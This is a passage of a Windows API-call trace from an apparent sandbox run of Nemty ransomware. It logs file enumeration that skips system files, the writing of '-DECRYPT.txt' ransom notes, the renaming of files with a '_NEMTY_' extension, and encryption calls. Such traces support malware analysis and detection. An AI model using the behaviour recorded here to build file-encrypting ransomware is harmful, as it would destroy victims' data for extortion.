hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0109.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.408] CloseHandle (hObject=0xffffffff) returned 0 [0109.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0109.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0109.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html._nemty_kgobjgd_")) returned 0 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.408] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0109.408] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0109.408] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0109.408] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0109.408] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0109.408] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0109.408] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0109.409] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0109.409] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0109.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0109.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0109.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0109.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0109.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340298 [0109.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.409] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0109.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0109.410] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.410] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0109.411] CloseHandle (hObject=0x254) returned 1 [0109.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0109.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340298 [0109.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.412] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0109.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0109.412] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.412] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0109.413] CloseHandle (hObject=0x254) returned 1 [0109.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4dacf90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4dacf90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0109.414] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.414] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf4dacf90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4dacf90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.414] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.414] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.414] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2=".") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="..") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="...") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="windows") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="$RECYCLE.BIN") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="rsa") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="NTDETECT.COM") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="ntldr") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="MSDOS.SYS") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="IO.SYS") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="boot.ini") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="boot.ini") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="AUTOEXEC.BAT") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="ntuser.dat") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="desktop.ini") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="CONFIG.SYS") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="RECYCLER") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="BOOTSECT.BAK") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="bootmgr") returned 1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="programdata") returned -1 [0109.414] lstrcmpiW (lpString1="calendar.css", lpString2="appdata") returned 1 [0109.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0109.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.css", lpUsedDefaultChar=0x0) returned 12 [0109.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0109.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.css", lpUsedDefaultChar=0x0) returned 12 [0109.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0109.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.css", lpUsedDefaultChar=0x0) returned 12 [0109.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0109.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.css", lpUsedDefaultChar=0x0) returned 12 [0109.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0109.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0109.415] Sleep (dwMilliseconds=0x5) [0109.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf4dd30f0, dwHighDateTime=0x1d561e7)) [0109.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf4dd30f0, dwHighDateTime=0x1d561e7)) [0109.416] GetLastError () returned 0xb7 [0109.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.416] GetLastError () returned 0xb7 [0109.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0109.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0109.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0109.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0109.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e5dc | out: pszString="A3n55pxMQqLUOmeTElDfZnMcrh1NYjc3QTzgmup4WjGVlog5M+Hs+/b32fCp9s4J\r\nMW00hIuEeBeZrJ7abBCsBlUV8l5TMEIOChRX6PLlAJnd51geVi+SOLiE9p/rneci\r\nR1c1ui9AiyFG8EPh+OF+IHWkGO5s3rDvQRUSzHMDJ8FSAW22syCOPD3/PHbxbF0p\r\nACtqf4u2yDG+OrJGxs7aI8Qr4CWPKzbtBd3sQgguIWgabTtYdPk1M79QG9UgMc6m\r\n9wQTHX48vaHAFY6xnrmKPBmKafooeIx30iIH++QP5w7xD5Gd0TJmIZAfl9lSc2Lk\r\n73X1ispSs6Ir9wxoCDy9hA==\r\n", pcchString=0x653e5dc) returned 1 [0109.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0109.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.417] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.418] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0109.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.418] ReadFile (in: 